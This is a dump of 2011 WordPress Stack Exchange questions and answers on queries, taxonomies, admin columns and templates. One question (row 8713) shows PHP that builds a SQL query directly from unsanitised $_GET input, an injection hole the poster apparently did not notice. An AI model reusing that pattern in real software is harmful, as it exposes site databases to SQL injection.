  <row Id="8707" PostTypeId="2" ParentId="8705" CreationDate="2011-02-07T01:34:07.783" Score="1" ViewCount="" Body="&lt;p&gt;First make sure you've set your posts per page to 6 in the Reading settings - as I can see you're displaying 2 columns of 3 posts. Then you need to add the page variable to the query_posts attributes, by adding this before you query posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('page')) ? get_query_var('page') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then changing the query_posts function calls to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('showposts=3&amp;amp;cat=1461&amp;amp;paged='.$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('showposts=3&amp;amp;offset=3&amp;amp;cat=1461&amp;amp;paged='.$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll also want to cheange you links to the previous and next pages by using something like the &lt;a href=&quot;http://codex.wordpress.org/Next_and_Previous_Links#The_Next_and_Previous_Posts&quot; rel=&quot;nofollow&quot;&gt;next_posts and prev_posts tags&lt;/a&gt; or you can simply make it yourself by adding /page/2 (for example) to the end of the category permalink - if you're using pretty URLs of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably be a good idea to check that you've got more than 3 posts to display before running the query for the second column too.&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2011-02-07T01:34:07.783" />
  <row Id="8708" PostTypeId="2" ParentId="8704" CreationDate="2011-02-07T03:09:55.067" Score="2" ViewCount="" Body="&lt;p&gt;I use the following in my filter hook &lt;code&gt;manage_edit-&amp;lt;post-type&amp;gt;_columns&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'manage_edit-visitor_columns', array( &amp;amp;$this, '_wp_filter_visitor_columns' ) );&#xA;&#xA;public function _wp_filter_visitor_columns( $columns )&#xA;{&#xA;    $columns = array(&#xA;            'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;            'title' =&amp;gt; 'Name',&#xA;            'type' =&amp;gt; 'Type',&#xA;            //'state' =&amp;gt; 'Current State',&#xA;            'id' =&amp;gt; 'Visitor ID',&#xA;            'acct' =&amp;gt; 'Using Account',&#xA;        );&#xA;&#xA;    return $columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to filter the column view, I use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'manage_posts_custom_column', array( &amp;amp;$this, '_wp_filter_visitor_column_view' ) );&#xA;&#xA;public function _wp_filter_visitor_column_view( $column )&#xA;{&#xA;    global $post;&#xA;    if ( $column == &quot;type&quot; )&#xA;    {&#xA;        //$terms = get_the_term_list( $post-&amp;gt;ID, 'v_types', '', ', ', '' );&#xA;        //echo strip_tags( $terms );&#xA;&#xA;        $terms = wp_get_object_terms( $post-&amp;gt;ID, 'v_types' );&#xA;        echo $terms[0]-&amp;gt;name;&#xA;    }&#xA;    elseif ( $column == &quot;state&quot; OR $column == &quot;workstation&quot; )&#xA;    {&#xA;        $workstation = get_post_meta( $post-&amp;gt;ID, 'v_workstation', true );&#xA;        if ( $column == &quot;workstation&quot; ) echo $workstation;&#xA;        elseif ( $column == &quot;state&quot; ) echo 'Not coded....';&#xA;    }&#xA;    elseif ( $column == &quot;id&quot; )&#xA;    {&#xA;        echo get_post_meta( $post-&amp;gt;ID, 'v_id', true );&#xA;    }&#xA;    elseif ( $column == &quot;acct&quot; )&#xA;    {&#xA;        $terms = wp_get_object_terms( $post-&amp;gt;ID, 'v_accounts' );&#xA;        echo $terms[0]-&amp;gt;name;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-07T03:09:55.067" />
  <row Id="8709" PostTypeId="1" CreationDate="2011-02-07T03:11:54.017" Score="0" ViewCount="89" Body="&lt;p&gt;I created one custom post type and two custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('blocks',array(&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Blocks' ),&#xA;         'singular_name' =&amp;gt; __( 'Block' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Block',&#xA;         'edit_item' =&amp;gt; 'Edit Block',&#xA;         'new_item' =&amp;gt; 'New Block',&#xA;         'search_items' =&amp;gt; 'Search Block',&#xA;         'not_found' =&amp;gt; 'No Block found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Blocks found in trash',&#xA;       ),&#xA;       'public' =&amp;gt; true,&#xA;       'hierarchical' =&amp;gt; false,&#xA;       'taxonomies' =&amp;gt; array( 'section'),&#xA;       'supports' =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;       'rewrite' =&amp;gt; array('slug'=&amp;gt;'blocks','with_front'=&amp;gt;false),&#xA;     ));&#xA;&#xA;    register_taxonomy('location','blocks',array(&#xA;       'hierarchical' =&amp;gt; true,&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Location' ),&#xA;         'singular_name' =&amp;gt; __( 'Location' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Location',&#xA;         'edit_item' =&amp;gt; 'Edit Location',&#xA;         'new_item' =&amp;gt; 'New Location',&#xA;         'search_items' =&amp;gt; 'Search Location',&#xA;         'not_found' =&amp;gt; 'No Locations found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Locations found in trash',&#xA;         'all_items' =&amp;gt; __( 'All Sections' ),&#xA;       ),&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'location' ),&#xA;       ));&#xA;     register_taxonomy('section','blocks',array(&#xA;       'hierarchical' =&amp;gt; true,&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Section' ),&#xA;         'singular_name' =&amp;gt; __( 'Section' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Section',&#xA;         'edit_item' =&amp;gt; 'Edit Section',&#xA;         'new_item' =&amp;gt; 'New Section',&#xA;         'search_items' =&amp;gt; 'Search Section',&#xA;         'not_found' =&amp;gt; 'No Sections found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Sections found in trash',&#xA;         'all_items' =&amp;gt; __( 'All Sections' ),&#xA;       ),&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ),&#xA;       ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the following to retrieve them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create and run custom loop&#xA;    $custom_posts = new WP_Query();&#xA;    $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Profile');&#xA;    while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Theme Left');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;        &amp;lt;div class=&quot;float-left&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that any posts that has the custom taxonomy Location = Front Page appear in the first custom loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shouldn't. The first custom loop should ONLY retrieve custom posts which has these two terms (from different taxonomies): Location = Front Page and Section = Profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If only one term is missing the posts shouldn't be retrieved)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-07T10:22:50.120" Title="Retrieving only custom post types with two required terms (from diferente custom taxonomies each)?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8710" PostTypeId="2" ParentId="5549" CreationDate="2011-02-07T03:15:39.580" Score="0" ViewCount="" Body="&lt;p&gt;First figure out how you want your coupons displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple printouts you can apply a css style-sheet for a printer friendly version, but I'm assuming you want a better coupon maybe with an actual bar code in it. In that case you want to have a pdf printer friendly coupon, since it the most popular format for printing these types of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several pdf plugins for WordPress that either turn a post into a pdf/embed a pdf into your page or simpley link to a pdf version of your coupon to download.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-02-07T03:15:39.580" />
  <row Id="8711" PostTypeId="1" CreationDate="2011-02-07T05:21:48.810" Score="1" ViewCount="244" Body="&lt;pre&gt;&lt;code&gt;$page1 = get_option('home_page_field');&#xA;$page2 = get_option('home_page_field1');&#xA;$page3 = get_option('home_page_field2');&#xA;$page4 = get_option('home_page_field3');&#xA;&#xA;&#xA; $arrData = array( $page1, $page2 , $page3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;its giving o/p as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; Array ( [text_string] =&amp;gt; 2 ) [1] =&amp;gt; Array ( [text_string] =&amp;gt; 499 ) [2] =&amp;gt; Array ( [text_string] =&amp;gt; 869 ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i set get_pages function to get the all info about the pages with these pages ids with me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PLease help &#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2885" LastEditorUserId="2885" LastEditorDisplayName="" LastEditDate="2011-02-07T05:32:09.927" LastActivityDate="2011-02-07T06:37:50.530" Title="How to get pages id in array in get_pages?" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="8712" PostTypeId="1" CreationDate="2011-02-07T05:27:05.233" Score="0" ViewCount="51" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/azindex/&quot; rel=&quot;nofollow&quot;&gt;AZIndex plugin&lt;/a&gt; to list post titles in my site and i would now like to limit the title characters, how would i do that?&lt;/p&gt;&#xA;" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-07T13:01:45.587" LastActivityDate="2011-02-07T13:01:45.587" Title="Limiting title characters in the AZIndex plugin" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8713" PostTypeId="1" AcceptedAnswerId="8792" CreationDate="2011-02-07T05:47:35.387" Score="0" ViewCount="187" Body="&lt;p&gt;So I have this code that queries a custom plugin generated table in the wp database. It works perfectly as is. But I'm trying to adjust it to use $wpdb instead of the $con function I have set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that works perfectly, but not using $wpdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$q = strtolower($_GET[&quot;q&quot;]);&#xA;if (!$q) return;&#xA;$isArabic = is_arabic($q);&#xA;&#xA;$con=mysql_connect(&quot;localhost&quot;,&quot;admin&quot;,&quot;*****&quot;);&#xA;if($con){&#xA;    mysql_select_db(&quot;arabic_student&quot;,$con);&#xA;}&#xA;else{&#xA;    die(&quot;Could not connect to database&quot;);&#xA;}&#xA;&#xA;mysql_query(&quot;SET NAMES utf8&quot;);&#xA;$sql = &quot;SELECT DISTINCT en_word, ar_word FROM wp_enar_words WHERE en_word LIKE '$q%' OR ar_word LIKE '$q%'&quot;;&#xA;$rsd = mysql_query($sql) or die(mysql_error());&#xA;&#xA;if($isArabic){&#xA;&#xA;    while($rs = mysql_fetch_array($rsd)) {&#xA;        $en_word = $rs['en_word'];&#xA;        $ar_word = $rs['ar_word'];&#xA;&#xA;        echo &quot;$ar_word\n&quot;;&#xA;}&#xA;}else{&#xA;    while($rs = mysql_fetch_array($rsd)) {&#xA;        $en_word = $rs['en_word'];&#xA;        $ar_word = $rs['ar_word'];&#xA;&#xA;        echo &quot;$en_word\n&quot;;&#xA;&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my noob attempt to use $wpdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$sql = $wpdb-&amp;gt;get_results(&quot;SELECT en_word, ar_word FROM wp_enar_words WHERE en_word LIKE   '$q%' OR ar_word LIKE '$q%'&quot;);&#xA;$rsd = $wpdb-&amp;gt;query('$sql');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it gets a Fatal error:  Call to a member function get_results() on a non-object in.... So maybe missing something obvious but hoping I could get some guidance on how to port my existing code to using $wpdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; so I'm starting to think that the problem is that this code is being called with a jquery plugin. I'm using jquery autocomplete and calling the above php code to populate the form autocomplete:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#search_words&quot;).autocomplete(&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/search_ac.php&quot;, {});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could this be the problem? I'm confused because my original code that directly calls the database works perfectly, but once I use $wpdb, it no longer functions&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditorDisplayName="" LastEditDate="2011-02-07T17:05:04.093" LastActivityDate="2011-02-07T19:42:39.163" Title="Have working sql query... trying to adjust it to use $wpdb" Tags="&lt;database&gt;&lt;mysql&gt;&lt;wpdb&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="8714" PostTypeId="2" ParentId="8711" CreationDate="2011-02-07T06:37:50.530" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;include&lt;/code&gt; argument (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_pages()&lt;/code&gt;&lt;/a&gt; in Codex for details and examples) to retrieve specific set. To continue your snippet that would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = get_pages( array(&#xA;    'include' =&amp;gt; $arrData,&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T06:37:50.530" />
  <row Id="8715" PostTypeId="2" ParentId="8713" CreationDate="2011-02-07T06:52:13.780" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = $wpdb-&amp;gt;prepare( &quot;SELECT en_word, ar_word FROM {$wpdb-&amp;gt;prefix}enar_words WHERE en_word LIKE '%1\$s%%' OR ar_word LIKE '%1\$s%%'&quot;, $q );&#xA;$results = $wpdb-&amp;gt;get_results( $sql );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T06:52:13.780" CommentCount="1" />
  <row Id="8716" PostTypeId="1" AcceptedAnswerId="8750" CreationDate="2011-02-07T06:52:47.433" Score="0" ViewCount="169" Body="&lt;p&gt;I have a plugin that creates a custom post type called Squeeze Pages. It has various short codes users can enter to make a squeeze page but I'm not sure how I can go about making the squeeze pages have a custom design, completely different from the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so, how can it be done?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-07T14:31:48.173" Title="Custom Post Type to override theme's CSS &amp; HTML from Plugins Dir?" Tags="&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="8717" PostTypeId="2" ParentId="8716" CreationDate="2011-02-07T06:59:13.320" Score="1" ViewCount="" Body="&lt;p&gt;It is easier to do in theme, with native &lt;code&gt;single-{post_type}.php&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Single_Post_display&quot; rel=&quot;nofollow&quot;&gt;template in hierarchy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With plugin this is more tricky. My idea would be to to try filter &lt;code&gt;single_template&lt;/code&gt; hook in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_single_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_single_template()&lt;/code&gt;&lt;/a&gt; with path to template file in your plugin's folder (don't forget to check for your post type).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T06:59:13.320" CommentCount="4" />
  <row Id="8718" PostTypeId="2" ParentId="6029" CreationDate="2011-02-07T07:04:51.297" Score="0" ViewCount="" Body="&lt;p&gt;Here is a complete tutorial with source files that do exactly what you want,&lt;br&gt;&#xA;You can upload multi images by cloning the input field and also you can preview, delete images with ajax, add multi metaboxes to multiple/different post types and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-02-07T07:04:51.297" />
  <row Id="8719" PostTypeId="1" AcceptedAnswerId="8720" CreationDate="2011-02-07T08:06:42.020" Score="0" ViewCount="67" Body="&lt;p&gt;In my website , I allow to the new user to write posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the problem is when the user write post. the state of post is publish. it is appear in front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to read it before the publish , I mean I want to approve it if it is useful or refuse it if it unuseful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish you understand me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much , &lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-07T08:20:18.640" LastActivityDate="2011-02-07T08:20:18.640" Title="How do I manage my users post before publish?" Tags="&lt;posts&gt;&lt;users&gt;&lt;publish&gt;" AnswerCount="1" />
  <row Id="8720" PostTypeId="2" ParentId="8719" CreationDate="2011-02-07T08:13:21.423" Score="3" ViewCount="" Body="&lt;p&gt;What role are you assigning to those users? According to &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities&lt;/a&gt; documentation in Codex it should be &lt;code&gt;Contributor&lt;/code&gt; for users that are allowed to write posts, but not publish them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T08:13:21.423" CommentCount="1" />
  <row Id="8721" PostTypeId="2" ParentId="5607" CreationDate="2011-02-07T08:30:13.263" Score="1" ViewCount="" Body="&lt;p&gt;The problem with your approach is that post's content pretty much ignored in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;WordPress query architecture&lt;/a&gt;. It is meant to be textual information, as opposed to technical meta information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have several options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to modify raw SQL of query request through filters, such as &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/posts_where&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;posts_where&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign school name to &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom field&lt;/a&gt; and use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;custom fields parameters&lt;/a&gt; in query (much enhanced in upcoming 3.1 version of WP).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As per hakre's suggestion create &lt;a href=&quot;http://codex.wordpress.org/Taxonomies#Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt; and assign schools to posts as its terms.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T08:30:13.263" />
  <row Id="8722" PostTypeId="2" ParentId="7434" CreationDate="2011-02-07T08:49:30.420" Score="1" ViewCount="" Body="&lt;p&gt;Are you registering your CPT with &lt;code&gt;comments&lt;/code&gt; in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;supports&lt;/code&gt; array of &lt;code&gt;register_post_type()&lt;/code&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From brief look at Disqus plugin code there is &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/disqus-comment-system/trunk/disqus.php#L671&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dsq_comments_template()&lt;/code&gt;&lt;/a&gt; function that checks for related stuff and it likely returns &lt;code&gt;false&lt;/code&gt; if support for comments is not declared.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T08:49:30.420" CommentCount="2" />
  <row Id="8723" PostTypeId="2" ParentId="8145" CreationDate="2011-02-07T08:57:21.320" Score="1" ViewCount="" Body="&lt;p&gt;There are quite a few &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/books&quot; rel=&quot;nofollow&quot;&gt;plugins tagged &lt;code&gt;books&lt;/code&gt; in official repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of them seems to pull covers from services like Amazon, which may or may not fit your needs. If you want to simply display some self-hosted images with links and basic categorizing/sorting, &lt;a href=&quot;http://www.rarst.net/script/wordpress-links/&quot; rel=&quot;nofollow&quot;&gt;personally I like to use Links for such&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T08:57:21.320" CommentCount="1" />
  <row Id="8724" PostTypeId="2" ParentId="3790" CreationDate="2011-02-07T09:06:37.630" Score="3" ViewCount="" Body="&lt;p&gt;Unlikely that you will need intermediary database, from your description this is likely to be easy enough with bit of PHP and WP APIs.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create &lt;a href=&quot;http://codex.wordpress.org/Category%3aWP-Cron_Functions&quot; rel=&quot;nofollow&quot;&gt;WP-Cron&lt;/a&gt; task (if you need automated recurrent import).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read data from flat files, for example with &lt;a href=&quot;http://php.net/manual/en/function.fgetcsv.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fgetcsv()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt; for creating posts and &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;custom field functions&lt;/a&gt; to add your data. This was recently covered in detail in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields&quot;&gt;WP insert post PHP function and Custom Fields&lt;/a&gt; question.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T09:06:37.630" />
  <row Id="8725" PostTypeId="2" ParentId="5431" CreationDate="2011-02-07T09:18:25.107" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure from your description if you have active WPMU install or only XML export from it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From googling around upgrading active WPMU install to 3.x should be more or less robust:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/best-way-to-migrate-wpmu-292-sites-to-a-fresh-wp301-install&quot; rel=&quot;nofollow&quot;&gt;Best way to migrate WPMU 2.9.2 sites to a fresh WP3.0.1 install?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpmututorials.com/how-to/upgrading-from-wpmu-to-wp-3-0/&quot; rel=&quot;nofollow&quot;&gt;Upgrading from WPMU to WP 3.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;IF you are not sure about upgrading, I'd try to re-create and upgrade install on test installation and possibly use its export (already from 3.x multisite) to import on production.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T09:18:25.107" />
  <row Id="8726" PostTypeId="2" ParentId="6128" CreationDate="2011-02-07T09:34:45.920" Score="0" ViewCount="" Body="&lt;p&gt;If I understand description and discussion correctly the issue seems to be using pages as nodes in structure. This is somewhat confusing since page are content entity, not structural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree with suggestion that it would make sense to use &lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;taxonomies&lt;/a&gt; (custom or native categories) instead. That will give you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear hierarchical structure of content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Option to use it in links to make them more visual.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Easier to handle structure for breadcrumbs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convenient way to tweak looks and such with &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Category_display&quot; rel=&quot;nofollow&quot;&gt;respective templates&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T09:34:45.920" />
  <row Id="8727" PostTypeId="2" ParentId="8709" CreationDate="2011-02-07T09:34:59.150" Score="2" ViewCount="" Body="&lt;p&gt;Well, downloading Wordpress 3.1 RC3 solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-07T09:34:59.150" />
  <row Id="8728" PostTypeId="2" ParentId="6204" CreationDate="2011-02-07T09:51:23.817" Score="1" ViewCount="" Body="&lt;p&gt;Both display of comments and comment form should be handled in &lt;code&gt;comments.php&lt;/code&gt; (or other template designated for that by theme).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comment_form()&lt;/code&gt;&lt;/a&gt; function does check if registration is required (and doesn't output form to unregistered users in such case) &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_comments()&lt;/code&gt;&lt;/a&gt; does not perform such check, since it isn't in line with native logic of this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had grabbed copy of Elegant News theme you are using on site and I don't see explicit additional conditions in &lt;code&gt;comments.php&lt;/code&gt;. Either your description of issue is missing some details or is cause by a plugin or other additional code.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-07T09:51:23.817" />
  <row Id="8729" PostTypeId="2" ParentId="8716" CreationDate="2011-02-07T10:16:50.347" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet is to create a secondary CSS sheet for the squeeze page. Then, include a function that adds a new body class and build your CSS off that.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-02-07T10:16:50.347" />
